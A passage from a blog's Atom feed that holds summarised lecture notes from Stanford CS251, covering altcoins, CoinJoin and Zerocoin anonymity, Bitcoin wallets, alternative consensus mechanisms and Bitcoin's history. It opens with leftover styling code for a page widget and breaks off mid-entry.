            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Text
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Contract creation = 32K gas ~ 0.01$
</span></span><span style="display:flex;"><span>Storage ~ 0.005$ per word</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div>]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/cs251" term="cs251" label="cs251"/></entry><entry><title type="html">Stanford CS251: Lecture 11</title><link href="https://ashishb.net/programming/stanford-cs251-lecture-11/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/stanford-cs251-cryptocurrencies-blockchains-and-smart-contracts/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Cryptocurrencies, blockchains, and smart contracts"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-19/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 19"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-18/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 18"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-16/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 16"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-15/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 15"/><id>https://ashishb.net/programming/stanford-cs251-lecture-11/</id><author><name>Ashish Bhatia</name></author><published>2019-04-01T07:13:24+00:00</published><updated>2019-04-01T07:13:24+00:00</updated><content type="html"><![CDATA[<blockquote>Explore altcoins, their launch, mining, and unique use cases. Understand the evolution beyond Bitcoin through forks, overlay currencies, and Namecoin&rsquo;s innovations.</blockquote><h3 id="lecture-11-altcoins">Lecture 11: Altcoins</h3>
<p>Three ways to improve Bitcoin</p>
<ol>
<li>Code update - This can update or change the P2P network</li>
<li>Soft fork - To introduce a stricter verification for example   
    
    
<a href="https://en.bitcoin.it/wiki/Pay_to_script_hash?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">P2SH</a></li>
<li>Hard fork - transaction improvements and consensus change</li>
</ol>
<p>Altcoin = Any cryptocurrency except Bitcoin</p>
<h4 id="launching-an-altcoin">Launching an altcoin</h4>
<ol>
<li>Sales pitch - new features</li>
<li>Value/exchange rate</li>
<li>Code</li>
<li>Miners - the value of the currency will bring them or go for merge mining (explained below)</li>
<li>Genesis block - For bootstrapping the right blockchain, it can be rooted in Bitcoin as well</li>
</ol>
<p>Examples,</p>
<ol>
<li>  
    
    
<a href="https://www.mazacoin.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mazacoin</a> - For sovereign tribes in the US</li>
<li>  
    
    
<a href="https://en.wikipedia.org/wiki/Auroracoin?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Auroracoin</a> - For Iceland. Only 30K out of 300K claimed it. Price immediately tanked.</li>
</ol>
<p>How to do the initial allocation?</p>
<ol>
<li>Just start mining - Bitcoin approach.</li>
<li>Pre-mine - allocated to the founders or &ldquo;pre-mine with delay&rdquo; to allocate after a certain time has passed</li>
<li>Auction</li>
<li>Hard fork Bitcoin - everyone who owns Bitcoin gets a proportion of the new currency</li>
<li>One-way peg - Proof-by-burn of Bitcoin. The person burns Bitcoin by sending it to H(pk) = &ldquo;Altcoin Id|Ka&rdquo;. XCP (Counterparty) did this. One gets the coins by publishing the proof of burn onto a new chain. This sets up the ceil for the exchange rate as well as ceil for the new coin&rsquo;s price.</li>
<li>Two-way peg -   
    
    
<a href="https://www.coindesk.com/liquid-goes-live-blockstreams-first-bitcoin-sidechain-has-finally-arrived?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">side chains</a>.
This requires a soft fork of BTC.</li>
</ol>
<h3 id="mining">Mining</h3>
<p>Mining new coin is risky since there is no mining power backing the new coin,   
    
    
<a href="https://altcoin.fandom.com/wiki/Coiledcoin?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">coiledcoin</a> was killed by 51% attack. Alternatively, launch using a new Proof-of-work.</p>
<p>Another alternative is merge mining - BTC miner can mine altcoins for free. Miners including the hash of the altcoin block in the coinbase of the BTC block. Altcoin becomes a little less efficient since one has to check both the validity of the altcoin and that the bitcoin block contains the hash of the altcoin block - the bitcoin block does not even have to be valid. That&rsquo;s why it is possible to merge mine altcoin block faster than bitcoin as well.</p>
<h3 id="overlay-currency">Overlay currency</h3>
<p>Use Bitcoin blockchain as a ledger. For example, Mastercoin and Counterparty. The only problem is that one cannot prevent double-spending of an altcoin like that, so, one has to parse the full chain of Bitcoin to verify to ensure that the altcoin is not being double-spent =&gt; no light nodes are possible.</p>
<h3 id="application-specific-cryptocurrencies-namecoin">Application-specific Cryptocurrencies (Namecoin)</h3>
<p>Namecoin&rsquo;s goal was decentralized name-value mapping. Added three op-codes, NAME_NEW to add a new hash(name). NAME_FIRST_UPDATE to add (name, value) pair, and NAME_UPDATE to update the value for an existing name. Name claims expire after one year (unless updated). Hash was done to avoid   
    
    
<a href="https://consensys.github.io/smart-contract-best-practices/known_attacks/#front-running-aka-transaction-ordering-dependence?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">front-running attack</a> but a randomized commitment would have been better to avoid brute-forcing. This didn&rsquo;t work that well in practice since all the good names were taken by squatters.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/cs251" term="cs251" label="cs251"/></entry><entry><title type="html">Stanford CS251: Lecture 10</title><link href="https://ashishb.net/programming/stanford-cs251-lecture-10/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/stanford-cs251-cryptocurrencies-blockchains-and-smart-contracts/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Cryptocurrencies, blockchains, and smart contracts"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-19/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 19"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-18/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 18"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-16/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 16"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-15/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 15"/><id>https://ashishb.net/programming/stanford-cs251-lecture-10/</id><author><name>Ashish Bhatia</name></author><published>2019-04-01T07:13:07+00:00</published><updated>2019-04-01T07:13:07+00:00</updated><content type="html"><![CDATA[<blockquote>Explore blockchain anonymity in our latest post. Discover how CoinJoin, commitment schemes, ZKPK, and Zerocoin enhance privacy and ensure secure transactions.</blockquote><h4 id="lecture-10-anonymity-on-blockchain">Lecture 10: Anonymity on Blockchain</h4>
<p>(Coinjoin continued from the previous lecture)</p>
<ol>
<li>Each participant writes an input transaction (input address, change address) on say Pastebin. Over Tor, each participant writes an output address. These two entries and not linkable to each other.</li>
<li>Now, each participant signs a CoinJoin transaction only if they like their own input and output entries.</li>
<li>Someone sends the final transaction to the miner.</li>
</ol>
<p>DoS attacks on CoinJoin:</p>
<ol>
<li>If anyone drops out or goes offline, then the CoinJoin fails.</li>
<li>If the UTXO mentioned in #1 is spent between #1 and #2,  then the CoinJoin transaction (T_cj) fails.</li>
</ol>
<p>CoinJoin works only for the small sets ~40. Everyone can collude and unmask a single participant (multiple mixing eliminates it). All outputs must have the same value or else anonymity is lost.</p>
<p>Crypto mixing mechanisms mix over a much larger set. There are two mechanisms for it.</p>
<ol>
<li>Commitment schemes - One commits to a value without revealing the value. commit(m) -&gt; (c, r). c is commitment and r is a secret to reveal it. verify(c, m, r) -&gt; true/false verifies the commitment. This scheme should have the binding property, so that, no other m can be revealed for the same c. The scheme should also have the hiding property, so that, c should not reveal any information about m. For example, H(m, r) -&gt; c where H is a collision-resistant hash function. A simple example of commitment is coin-flipping where Alice sends a commitment to a bit, Bob sends their bit in clear, and then Alice reveals its bit. XOR of the two bits is the final coin toss outcome.</li>
<li>ZKPK (Zero Knowledge Proof of Knowledge) - Alice wants to prove that for a given X and P(X,w) -&gt; {0,1}, she knows witness w s.t. P(X,w) = 1. She wants to prove this to verifier Bob without revealing w to Bob. ZKPK is possible for all of NP and beyond. Anything that can be proven, can be proven in Zero-Knowledge. Proof can be non-interactive, so, one single message from Alice to Bob is sufficient. Size of the proof ~ size of the program/predicate P. Even simple example is complicated. ZK-SNARK, a succinct non-interactive argument of knowledge, is based on a CRS (common reference string). Alice produces proof using CRS, X, and w. The proof is ~ 300 bytes which are a huge advantage. CRS is huge ~ 1 GB. Verifier Bob can verify the proof and X using CRS. All SNARKs require a trusted setup. CRS creator can prove wrong statements. So, shorter proofs have CRS size penalty.</li>
</ol>
<p>Confidential Transactions - replace amounts by commitments along with ZKPK (not SNARK) that sum of inputs &gt;= sum of the outputs and the numbers are non-negative. This proof is ~ 2.5KB. Miners can mine the transaction along with the proof. This is   
    
    
<a href="https://medium.com/@ecurrencyhodler/a-primer-to-confidential-transactions-e6ab3dd2bf1e?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">implemented</a> in the Bitcoin core but not enabled.</p>
<h4 id="zerocoin">Zerocoin</h4>
<p>Let every Zerocoin = 0.1 BTC. Let Bob chooses a 256-bit sequence number s_n and generates a commitment (c, r) for sn.</p>
<ol>
<li>Bob sends 0.1 BTC to address zc:c. c is linked to Bob but no one knows s_n since r is secret. There are tons of such coins now, c_1, c_2, &hellip; c_n. We will create a Merkle tree with root h.</li>
<li>To redeem, Bob constructs (L, sn, π) where L is a fresh Bitcoin address, π is a ZKPK (SNARK) that proves Bob knows (r, c) s. t. c is in Merkle Tree rooted in h and verify(c, sn, r) is true. So, Bob is claiming that he owns one bitcoin in the Merkle tree and he knows how to open it without revealing which bitcoin is his. Miners with check π and zero coin s_n is unspent. If this holds, miners post s_n -&gt; L: 0.1 BTC.  s_n is public now but no one can connect s_n back to Bob. Binding property ensures no double spending. Hiding property ensures that no one can link s_n to c. Note that, if someone maliciously generates the same s_n as an existing one, the only the first withdrawal would succeed.</li>
</ol>
<p>Note:</p>
<ol>
<li>Zcash evolved further than Zero coins to allow different amounts.</li>
<li>Some other systems worth looking at are CryptoNote and Monero.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/cs251" term="cs251" label="cs251"/></entry><entry><title type="html">Stanford CS251: Lecture 9</title><link href="https://ashishb.net/programming/stanford-cs251-lecture-9/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/stanford-cs251-cryptocurrencies-blockchains-and-smart-contracts/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Cryptocurrencies, blockchains, and smart contracts"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-19/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 19"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-18/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 18"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-16/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 16"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-15/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 15"/><id>https://ashishb.net/programming/stanford-cs251-lecture-9/</id><author><name>Ashish Bhatia</name></author><published>2019-04-01T07:12:43+00:00</published><updated>2019-04-01T07:12:43+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Bitcoin wallets, their security, and anonymity in transactions. Learn about wallet management, SPV clients, and methods to enhance privacy with mixing and altcoins.</blockquote><h3 id="lecture-9-wallet--anonymity">Lecture 9: Wallet &amp; Anonymity</h3>
<h4 id="wallet">Wallet</h4>
<p>A user has a lot of bitcoin address, each of which is H(p_k) or H(script). A wallet manages p_k/s_k, post/verify transactions,  and show balances. A wallet can be Cloud wallets like Coinbase or desktop based like Electrum or hardware-based like Trezor. SPV or Simplified Payment Verification clients are not full mining nodes but can verify incoming payments. An SPV downloads all the block headers and then specifically requests a list of addresses which are in your wallet to fetch the transactions associated with those addresses from a server.  The server returns the relevant transactions associated with those addresses and the corresponding Merkle proof of that.</p>
<h4 id="wallet-backup">Wallet backup</h4>
<p>Don&rsquo;t generate random keys but have a 128-bit seed K0. S_ki = HMAC(K0, ). P_ki = g^S_ki. So, only K0 has to be backed up. Bitcoin has 2048 words (11-bit). 128-bit seed requires 13 words including error correction.</p>
<p>For further security, split the wallet into an offline cold Wallet which contains K0 and an online hot wallet which contains Pk1, Pk2,&hellip; but cannot spend funds.</p>
<h4 id="anonymity">Anonymity</h4>
<p>Weak: pseudonymity has a reputation but suffers from linkability. If a single post/transaction links to you, then all posts link to you. Therefore, anonymity goes down over time.
Strong: Complete unlinkable posts/transactions. Fraud detection and spam filtering are hard in this.
Business needs anonymous payments. Individuals need it, even thieves need it.</p>
<p>Bitcoin is not anonymous. Linking different accounts/transactions of the same entity is almost always possible. Finding whether A paid B is almost always possible.</p>
<p>Bitcoin Deanonymization:</p>
<ol>
<li>Network Layer - If enough nodes collude, one can connect different addresses belonging to the same IP. To avoid this connect Bitcoin over Tor.</li>
<li>Blockchain - &ldquo;idioms of use&rdquo;. H1 - If they are two inputs to a transaction, they belong to the same entity. H2 - change address is controlled by the same entity which controls the input address.
Ex 1: In 2013, in an experiment, using these two heuristics, 12 M Bitcoin addresses were reduced to 3.3M clusters. They identified 1070 addresses by interacting with entities eg. depositing money in Coinbase =&gt; 2200 clusters (1.8M addresses, 15%) de-anonymized.
Ex 2: 3171 BTC stolen from Betcoin. The thief slowly peeled small amounts ~ 10 BTCs at a time to a new address. As soon as the thief deposits even a single one to Coinbase or any other exchange, the identity would be revealed.
Ex 3: Cryptolocker encrypts the disk and asks for 2 BTC for decryption. 1200 BTCs was paid in 800 transactions to Cryptolocker addresses.</li>
</ol>
<p>Two ways to make Bitcoin anonymous</p>
<ol>
<li>Mixing</li>
<li>Anonymous alt coins (in Lecture 10)</li>
</ol>
<p>Fully trusted mixer provides a receiver address. Alice sends the funds and hopes that she will get the funds back from a different address. The mixer will generate a single transaction returning those coins to everyone including Alice.  Some mixers steal money. Chain multiple mixers for more privacy. Coinjoin is trustless mixing. Using an online forum.
in: A_in: 5, B_in: 3, C_in: 2
out: A_change: 3, B_change: 1 (not anonymous)
A_0: 2, B_0: 2, C_0: 2 (anonymous)</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/cs251" term="cs251" label="cs251"/></entry><entry><title type="html">Stanford CS251: Lecture 8</title><link href="https://ashishb.net/programming/stanford-cs251-lecture-8/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/stanford-cs251-cryptocurrencies-blockchains-and-smart-contracts/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Cryptocurrencies, blockchains, and smart contracts"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-19/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 19"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-18/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 18"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-16/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 16"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-15/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 15"/><id>https://ashishb.net/programming/stanford-cs251-lecture-8/</id><author><name>Ashish Bhatia</name></author><published>2019-04-01T07:12:22+00:00</published><updated>2019-04-01T07:12:22+00:00</updated><content type="html"><![CDATA[<blockquote>Explore alternative blockchain consensus methods to improve scalability, efficiency, and security. Discover concepts like cosigning, ASIC resistance, and proof of storage.</blockquote><h3 id="lecture-8---alternative-consensus">Lecture 8 - Alternative consensus</h3>
<p>Puzzle solutions are probabilistic proof of work. A typical puzzle utilization function can be modeled as P(challenge, randomness - nonce, difficulty, &hellip;) -&gt; true/false</p>
<p>P(c, r, d) for Bitcoin is SHA256^2(c, r, d) &lt;= 2^256-d</p>
<p>There are many objections to this. It wastes resources on a meaningless computation, it is highly parallelizable and has returns of scale, randomness, long wait time between blocks, and leads to the creation of the mining pools. It is possible to redesign the system to make mining pools impossible but that would lead to only big players doing the mining. The centralized signing also eliminates all these issues and &ldquo;private blockchain&rdquo; is just a misnomer for a centralized blockchain.</p>
<h4 id="improvements-cosigning">Improvements (Cosigning)</h4>
<ol>
<li>Cosigning in Ripple - consensus k out of n</li>
<li>Cosigning in Stellar - arbitrary topology of who has to sign before something is trusted</li>
</ol>
<h4 id="improvements-block-throughput">Improvements (Block throughput)</h4>
<p>BTC: one block every 10 mins
Testnet: one block every 5 mins
If block production rate is increased then there will be more forks leading to stale blocks. Current stale block rate is 1%. If the stale block rate increases, the cost of 51% attack goes down drastically. For example, if the stale block rate is 50% then the network efficiency is halved, so, a 51% attack only requires 33% of the network power to execute. Ethereum avoids this issue by using   
    
    
<a href="https://www.cryptocompare.com/coins/guides/what-is-the-ghost-protocol-for-ethereum/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">GHOST</a> which not only includes the parent blocks but the uncle blocks as well. This allows Ethereum to have a block throughput of one block every 15 seconds.</p>
<h4 id="improvements--bitcoin-ng">Improvements (   
    
    
<a href="https://www.usenix.org/system/files/conference/nsdi16/nsdi16-paper-eyal.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Bitcoin-NG</a>)</h4>
<p>Between two majors blocks A and B signed by Ka and Kb, we can have micro blocks. 40% mining fee of each micro block will go to Ka and 60% to Kb. Due to some attack(???), Ka can only receive &lt; 42% mining fee.</p>
<h4 id="features-of-sha-256">Features of SHA-256</h4>
<ol>
<li>Anonymous</li>
<li>Progress-free - Probability of success is linearly proportional to time and mining power invested. Note that SAH256-squared is not progress-free.</li>
<li>Fast to verify</li>
<li>Supports precise difficulty adjustments</li>
<li>Compact specification</li>
</ol>
<h4 id="improvements-asic-resistance">Improvements (ASIC-Resistance)</h4>
<p>The eventual goal is to minimize advantage a custom ASIC has over a PC. There are a few possible approaches.</p>
<ol>
<li>Complex algorithms or advanced CPU instruction set - For example,   
    
    
<a href="https://www.mycryptopedia.com/x11-algorithm-explained/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">X11</a> took 11 SHA-3 finalists and applies them in succession.</li>
<li>Memory Hardness - ASICs cannot have too much memory. For example, Litecoin uses   
    
    
<a href="https://en.wikipedia.org/wiki/Scrypt?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">scrypt</a> which references previously calculated values and requires a 16KB buffer. The worst part is that the verification is as slow as computation. Also, Litecoin ASIC mining advantage over Litecoin PC mining is higher than Bitcoin. An important problem is to come up with an algorithm which is memory-hard to compute but memory-easy to verify. Cuckoo hash works but is apparently broken.</li>
<li>Moving target - Change the hash functions every few months. The question then remains is that who picks the new hash functions.</li>
</ol>
<h4 id="do-we-want-asic-resistance">Do we want ASIC resistance</h4>
<ol>
<li>ASIC miners, due to their investment, are most loyal to the crypto they are mining.</li>
<li>ASIC resistant cryptocurrency can be attacked via botnets or rented resources on the cloud.</li>
</ol>
<h4 id="improvements-proof-of-storage">Improvements (Proof of Storage)</h4>
<p>Store something useful like the library of Congress. (ashishb&rsquo;s note:   
    
    
<a href="https://filecoin.io/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Filecoin</a> came out later)</p>
<h4 id="improvements-useful-proof-of-work">Improvements (Useful Proof of work)</h4>
<p>Rather than do the SHA256 calculation, perform useful work like SETI@Home or Folding@Home. Not all solutions are equally likely though. An example is   
    
    
<a href="https://primecoin.io/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">PrimeCoin</a>, where the proof of work is to calculate Cunnigham chain, p1, p2, &hellip; pk, such that, pi = 2 * p(i-1) + 1. The goal is to find a chain whose length is determined by the difficulty level. p1 is composed of a value from the previous block and a nonce.</p>
<h4 id="improvements-proof-of-stake">Improvements (Proof of stake)</h4>
<p>Based on the stake one can vote on the blockchain. This can lead to oligopoly. Peercoin implements the proof of stake. H(c, r) &lt;= 2^(256 - d - s) where s is the coin stake which consists of the sum of the coins with each coin holding being weighted by the time it was last use. So, a crypto puzzle is easier for someone who is sitting on the coins for a while.</p>
<h4 id="improvements-proof-of-deposit">Improvements (Proof of Deposit)</h4>
<p>Choose a time to such that the fund movement is not allowed for the ti time frame, and then you are allowed to mine.</p>
<h4 id="nothing-at-stake-problem">Nothing at stake problem</h4>
<p>All vanilla proof of stake consensus suffers from nothing at stake problem. In case of proof of work, you can only mine on one chain at a time. In case of proof of stake, since no resources are involved, one can build on as many chains in parallel as possible. Slasher mechanisms have been designed to punish anyone caught doing this.</p>
<h4 id="improvements-round-robin-signing">Improvements (Round-robin signing)</h4>
<p>NXT coin uses this approach where a signer is elected every key block and can sign a set of blocks between the two key blocks. All signers have to be online and the new signer is the owner of the coin r such that r = H(H(b1) || H(b2) || H(b3) &hellip;). Chance of being a miner is proportional to how much you own. If you skip a signer, you lose money (???)</p>
<h4 id="improvements-casper">Improvements (Casper)</h4>
<p>Casper is Ethereum&rsquo;s planned proof of stake. There will be node validators who will put tickets on the fork. One fork will win and everyone else will lose money.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/cs251" term="cs251" label="cs251"/></entry><entry><title type="html">Stanford CS251: Lecture 7</title><link href="https://ashishb.net/programming/stanford-cs251-lecture-7/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/stanford-cs251-cryptocurrencies-blockchains-and-smart-contracts/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Cryptocurrencies, blockchains, and smart contracts"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-19/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 19"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-18/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 18"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-16/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 16"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-15/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 15"/><id>https://ashishb.net/programming/stanford-cs251-lecture-7/</id><author><name>Ashish Bhatia</name></author><published>2019-04-01T07:11:30+00:00</published><updated>2019-04-01T07:11:30+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Bitcoin&rsquo;s journey from inception to its role in modern economics and politics</blockquote><h3 id="lecture-7-community-economics-and-politics">Lecture 7: Community, Economics, and Politics</h3>
<ol>
<li>David Chaum -   
    
    
<a href="https://en.wikipedia.org/wiki/David_Chaum#Digital_cash?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">digital cash</a> in 1981</li>
<li>Satoshi Nakamoto - Oct 2008, bitcoin.org was registered in Aug 2008</li>
<li>Genesis block was mined in Jan 2009</li>
<li>First BTC payment - Feb 2010</li>
<li>First online exchange - July 2010, the price went up 10x by then</li>
<li>First GPU miner - Aug 2010</li>
<li>First mining pool - Sep 2010, Satoshi disappeared at this point</li>
<li>Silk road launched - Jan 2011</li>
<li>First BTC conference - Nov 2011</li>
</ol>
<p>Bitcoin requires three levels of consensus</p>
<ol>
<li>Consensus on blockchain - transaction history</li>
<li>Consensus on validity rules</li>
<li>The consensus that BTC is valuable</li>
</ol>
<p>A soft-fork happens when a certain miners start accepting a newer version of the transactions which is backward-compatible. This incentivizes other miners to move to that as well or else their mined blocks might not become part of the longest chain. Some examples of soft-fork are P2SH, Segwit,   
    
    
<a href="https://en.bitcoin.it/wiki/Timelock?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">CLTV, CSTV</a>. Such changes are made via Bitcoin Improvement Proposals (BIP).</p>
<p>A hard-fork happens where there is a disagreement on the blockchain rules. For example, bug fixes, crypto upgrades, Simplified Payment Verification (SPV).</p>
<p>Bitcoin block size is limited to 1 MB =&gt; 1 MB/10 mins =&gt; 1.7 KB/sec ~ 7 transactions per second are the system limits. Visa does ~20K transactions per second by comparison. In 2015, a hard-fork was tried to increase the block-size limit to 10 MB. Bitcoin community was split between Bitcoin core and Bitcoin XT. Bitcoin core wants to do nothing, they were supported by the miners. Bitcoin XT which wants to increase block size to 8 MB and double every year after that.   
    
    
<a href="https://blog.plan99.net/the-resolution-of-the-bitcoin-experiment-dabb30201f7?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">XT lost</a>. An accidental hard-fork happened in   
    
    
<a href="https://github.com/bitcoin/bips/blob/master/bip-0050.mediawiki?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">March 2013</a>.</p>
<h4 id="economics">Economics</h4>
<ol>
<li>Divisibility - 21M ~ 225 Bitcoins. 1 Bitcoin = 108 Satoshi ~ 227 Satoshi =&gt; 252 Satoshi units to trade</li>
<li>Mining reward schedule has a deflationary impact on Bitcoin creation</li>
<li>Tinkerbell effect - Everyone believes in something because everyone else does as well</li>
</ol>
<p>Money is a means of exchange, a unit of account, and a store of value. Bitcoin is definitely a means of exchange, the other two questions are yet to be answered.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/cs251" term="cs251" label="cs251"/></entry><entry><title type="html">Stanford CS251: Lecture 6</title><link href="https://ashishb.net/programming/stanford-cs251-lecture-6/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/stanford-cs251-cryptocurrencies-blockchains-and-smart-contracts/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Cryptocurrencies, blockchains, and smart contracts"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-19/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 19"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-18/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 18"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-16/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 16"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-15/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 15"/><id>https://ashishb.net/programming/stanford-cs251-lecture-6/</id><author><name>Ashish 